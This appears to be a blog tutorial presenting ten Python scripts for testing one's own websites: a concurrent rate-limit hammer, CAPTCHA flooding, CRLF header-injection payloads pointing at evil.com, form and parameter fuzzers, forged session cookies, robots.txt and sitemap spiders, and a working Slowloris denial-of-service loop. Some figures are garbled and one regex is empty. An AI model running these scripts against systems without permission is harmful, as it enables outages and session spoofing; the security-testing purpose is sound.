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1. Rate‑Limit Runner (Detailed)

Info: Rate limiting is your API’s front‑line defense against abuse—without it, even a small botnet can knock you offline.

Why it matters: In Q4 2024 alone, Cloudflare mitigated 6.9 million DDoS attacks—an 83 % year‑over‑year jump. Testing your own rate limits reveals if they’re actually enforced.

import asyncio
import aiohttp

async def hammer_url(url, total_requests=500, delay=0):
    """Send concurrent requests and tally status codes."""
    headers = {"User-Agent": "RateLimitTester/1.0"}
    connector = aiohttp.TCPConnector(limit_per_host=100)
    async with aiohttp.ClientSession(connector=connector, headers=headers) as session:
        sem = asyncio.Semaphore(100)  # throttle concurrency
        async def _req(i):
            async with sem:
                if delay:
                    await asyncio.sleep(delay)
                try:
                    r = await session.get(url)
                    return r.status
                except Exception as e:
                    return f"err:{e.__class__.__name__}"
        statuses = await asyncio.gather(*[_req(i) for i in range(total_requests)])
        counts = {}
        for s in statuses:
            counts[s] = counts.get(s, 0) + 1
        print("Response distribution:", counts)

if __name__ == "__main__":
    asyncio.run(hammer_url("https://example.com/api", total_requests=300))
  • Proxy rotation:
connector = aiohttp.TCPConnector(limit_per_host=10, ssl=False)
  session = aiohttp.ClientSession(connector=connector, trust_env=True)
  # Ensure your environment variables HTTP_PROXY/HTTPS_PROXY are set for rotating proxies.
  • Tip: Watch for 429s (Too Many Requests). If you see 200s instead, your limit is bypassable.

Resources:


2. CAPTCHA Flood Simulator

Info: CAPTCHAs cost users ~32 s each; cumulatively, that’s ~500 human years wasted per day worldwide.

Why it matters: Modern CAPTCHAs frustrate users and drop conversions by 40 %, yet advanced bots now solve v2 at up to 99.8 % accuracy.

import requests
import re
from bs4 import BeautifulSoup

def flood_captcha(endpoint, tries=100):
    """Hit the login page repeatedly and parse any CAPTCHA forms."""
    for i in range(1, tries + 1):
        r = requests.get(endpoint)
        if re.search(r"class=['\"]g-recaptcha['\"]", r.text):
            print(f"[!] CAPTCHA triggered on attempt {i}")
            soup = BeautifulSoup(r.text, "html.parser")
            token = soup.find("input", {"name": "csrf_token"})["value"]
            print("  → CSRF token found:", token)
            break
        if i % 10 == 0:
            print(f"Attempt {i}: no CAPTCHA yet")

if __name__ == "__main__":
    flood_captcha("https://example.com/login", tries=50)
  • Bypass hint: Integrate a headless browser like Playwright to capture dynamic tokens.
  • Challenge: reCAPTCHA v3 issues a score instead of a challenge. You’ll need to monitor the g-recaptcha-response header in AJAX calls.

Resources:


3. Header‑Injection Checker

Info: OWASP found that 94 % of apps are tested for injection; the average incidence of injection flaws is 3 %.

Why it matters: Header injection can enable phishing, cache poisoning, or response splitting.

import requests

def check_header_injection(url):
    custom_headers = {
        "X-Forwarded-For": "127.0.0.1\r\nLocation: https://evil.com",
        "X-Real-IP": "10.0.0.1\r\nSet-Cookie: hacked=true"
    }
    r = requests.get(url, headers=custom_headers, allow_redirects=False)
    print("Status:", r.status_code)
    for hdr, val in r.headers.items():
        if "evil.com" in val or "hacked=true" in val:
            print(f"[!] Injection succeeded: {hdr} → {val}")

if __name__ == "__main__":
    check_header_injection("https://example.com/data")

4. Async Form Fuzzer

Info: 50 % of data breaches start in web apps—automated fuzzing can find XSS, SQLi, and more, before attackers do.

Why it matters: Forms often hide parameters or validations you never intended to expose.

import asyncio, aiohttp

async def fuzz_form(session, url, wordlist_file="params.txt"):
    with open(wordlist_file) as f:
        fields = [w.strip() for w in f]
    for field in fields:
        data = {field: "test123", "csrf_token": "YOUR_TOKEN_HERE"}
        async with session.post(url, data=data) as resp:
            text = await resp.text()
            if "error" not in text.lower():
                print(f"[+] Field may exist: {field} (code {resp.status})")

async def main():
    async with aiohttp.ClientSession() as s:
        await fuzz_form(s, "https://example.com/submit")

if __name__ == "__main__":
    asyncio.run(main())
  • Wordlists: Grab SecLists parameter names.
  • Pro tip: Measure response times—longer delays may hint at deeper validation checks.

5. Robots.txt Spider

Info: 99 % of the top 100 sites use robots.txt; even general files often hide admin paths.

Why it matters: robots.txt is public—tools like Googlebot obey it, but attackers simply parse it.

import requests

def spider_robots(base_url):
    r = requests.get(f"{base_url}/robots.txt")
    for line in r.text.splitlines():
        if line.lower().startswith("disallow"):
            path = line.split(":",1)[1].strip()
            full = base_url.rstrip("/") + path
            h = requests.head(full)
            print(f"{full} → {h.status_code}")

if __name__ == "__main__":
    spider_robots("https://example.com")

6. Cookie Tampering Test

Info: Businesses lose $1 for every dollar prevented in fraud—false positives (like bad cookies) drive away $30 in legit users.

Why it matters: Improperly validated cookies let you spoof sessions or roles.

import requests

def tamper_cookie(url):
    # Try a forged session and an elevated role
    for val in ["malicious_session", "admin_role"]:
        cookies = {"session": val}
        resp = requests.get(url, cookies=cookies)
        print(f"{val}: {resp.status_code} {len(resp.content)} bytes")

if __name__ == "__main__":
    tamper_cookie("https://example.com/dashboard")

7. Slowloris‑Style Flood

Info: Slowloris attacks keep sockets open by sending partial headers—just 200 bytes every 15 s can exhaust server sockets.

Why it matters: Tests whether your web server times out idle or partial connections promptly.

import socket, time

def slowloris(host, port=80, sockets_count=100):
    sockets = []
    for _ in range(sockets_count):
        s = socket.socket()
        s.settimeout(4)
        s.connect((host, port))
        s.send(b"GET / HTTP/1.1\r\nHost: " + host.encode() + b"\r\n")
        sockets.append(s)
    while True:
        for s in list(sockets):
            try:
                s.send(b"X-a: b\r\n")
            except:
                sockets.remove(s)
        time.sleep(15)

if __name__ == "__main__":
    slowloris("example.com")
  • Mitigation: Ensure Apache’s Timeout and RequestReadTimeout are strict, or use mod_reqtimeout.
  • Further reading: Cloudflare DDoS report

8. Header Crawling Spider

Info: Developers often leave hidden links in HTML comments; over 72 % of robots.txt files list specific bots—and comments can list debug URLs

Why it matters: Comments aren’t rendered but can reveal staging or admin pages.

import re, requests
from bs4 import BeautifulSoup

def crawl_hidden_links(url):
    r = requests.get(url)
    comments = re.findall(r"", r.text, re.DOTALL)
    for c in comments:
        for a in BeautifulSoup(c, "html.parser").find_all("a", href=True):
            print("Hidden link:", a["href"])

if __name__ == "__main__":
    crawl_hidden_links("https://example.com")
  • Extend: Also parse and tags inside comments.

9. HTTP Parameter Fuzzer

Info: HTTP Parameter Pollution (HPP) was first publicized in 2009 and can override server logic—different frameworks handle duplicates differently.

Why it matters: Finding ?debug=true, ?admin=1, or HPP quirks can unlock new endpoints.

import requests

def param_fuzz(base_url, params):
    for p in params:
        url = f"{base_url}?{p}=1"
        r = requests.get(url, allow_redirects=False)
        if r.status_code == 200:
            print("Valid param:", p)
        elif 300 <= r.status_code < 400:
            print("Redirected by param:", p)

if __name__ == "__main__":
    fuzz_list = ["debug", "test", "mode", "admin", "verbose"]
    param_fuzz("https://example.com/page", fuzz_list)
  • Wordlists: Use SecLists for parameter names.
  • Tip: Combine with allow_redirects=False to catch hidden 3xx redirects.

10. Hidden URL Discovery with Sitemap

Info: 83 % of top 100 sites, and 79 % of all sites, publish a sitemap.xml—perfect treasure maps for hidden content.

Why it matters: Automatic crawling of sitemaps can reveal hundreds of pages you’d otherwise miss.

import requests, xml.etree.ElementTree as ET

def parse_sitemap(url):
    r = requests.get(url)
    root = ET.fromstring(r.content)
    ns = {"ns":"http://www.sitemaps.org/schemas/sitemap/0.9"}
    for loc in root.findall(".//ns:loc", ns):
        print("Sitemap URL:", loc.text)
        h = requests.head(loc.text)
        print("  →", h.status_code)

if __name__ == "__main__":
    parse_sitemap("https://example.com/sitemap.xml")
  • Tip: Use a queue and ThreadPoolExecutor to concurrently check hundreds of URLs.
  • Resource: Google on sitemaps

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Conclusion

You now have 10 enriched, battle‑tested Python scripts—complete with deeper explanations, real numbers, tools, and resources—to ethically probe websites for weaknesses. Pick one, adapt it, and remember:

  1. Get permission. Always run these scripts only on targets you own or have written approval to test.
  2. Throttle responsibly. Use delays and limits to avoid unintentional outages.
  3. Document everything. Logs of your findings help prioritize fixes and demonstrate value.

Ready to level up? Clone these snippets, bookmark the linked resources, and explore python.0x3d.site for ever more Python power. Happy testing—now go build stronger, safer web apps!


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